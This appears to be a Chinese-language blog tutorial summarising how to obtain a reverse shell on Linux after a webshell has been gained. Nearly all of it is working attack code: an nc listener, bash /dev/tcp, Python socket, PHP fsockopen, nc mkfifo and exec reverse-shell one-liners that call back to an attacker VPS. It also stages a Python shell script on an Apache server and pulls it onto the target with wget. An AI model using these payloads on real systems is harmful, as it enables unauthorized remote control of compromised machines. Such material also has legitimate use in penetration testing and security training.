Linux下Shell 反弹总结

当拿到webshell的时候,因为webshell的环境是虚拟终端,不是交互型终端,很多命令是无法执行的,所以需要拿到交互式shell,就得反弹shell

工具准备

  • VPS(公网ip)
  • python环境
  • nc(netcat)
  • Ubuntu(宿主机)

反弹shell 步骤

首先在vps上使用netcat开启监听

nc -lvnp 8080

参数

  • -l:使用监听模式,监控传入的资料;
  • -v:显示指令执行过程;
  • -n:直接使用ip地址,而不通过域名服务器;
  • -p:<通信端口>:设置本地主机使用的通信端口

Linux下Shell 反弹总结_第1张图片

  • 测试

    在Ubuntu上开启tcp8080端口,通过上图可以看见nc 监听了本地的8080端口,且是TCP协议

  • 在监听机上(vps)上监听8080端口

在这里插入图片描述

bash反弹

bash -i >& /dev/tcp/<your_vps>/8080 0>&1
  • bash -i : 产生一个bash的交互环境;
  • >&:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;
  • /dev/tcp//8080:与目标主机ip/8080端口建立一个TCP连接;
  • 0>&1:将标准输入与标准输出相结合,重定向到前面标准输出内容

Linux下Shell 反弹总结_第2张图片

python一句话反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

这样虽然反弹回来了,但是看不到用户是谁,此时可以使用python 一句话反弹用户

python -c "import pty;pty.spawn('/bin/bash')"

Linux下Shell 反弹总结_第3张图片

python 脚本执行

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("",8080));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

当拿到webshell权限之后,可以上传此脚本,只要目标服务器有python环境,即可执行此脚本,并在攻击机上反弹回shell

也可以将此脚本上传至攻击服务器上,使用wegt 下载攻击机上的文件,然后再目标服务器上下载此文件(目标服务器有wget命令的情况下)

针对第二种方法介绍(由于第一种方法可以在菜刀,蚁剑等工具直接上传较简单)

首先在vps中开启Apache

service apaache2 restart

将脚本放置在/var/www/html 目录下

Linux下Shell 反弹总结_第4张图片

在目标服务器上下载此脚本

wget http://ip/shell.py

Linux下Shell 反弹总结_第5张图片
在宿主机上执行shell.py(注意权限)

在这里插入图片描述

PHP 一句话执行

要求宿主机上拥有php环境

php -r '$sock=fsockopen("",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

Linux下Shell 反弹总结_第6张图片

PHP 脚本

 $sock=fsockopen("",8080);exec("/bin/sh -i <&3 >&3 2>&3");?>

Linux下Shell 反弹总结_第7张图片

nc命令获取靶机的反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_vps> 8080 >/tmp/f

Linux下Shell 反弹总结_第8张图片

exec 反弹

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

Linux下Shell 反弹总结_第9张图片

webshell 下反弹shell

蚁剑连接webshell下

在webshell 下操作可行的有

  • python 脚本执行
  • PHP 脚本

Linux下Shell 反弹总结_第10张图片

Linux下Shell 反弹总结_第11张图片

你可能感兴趣的:(学习)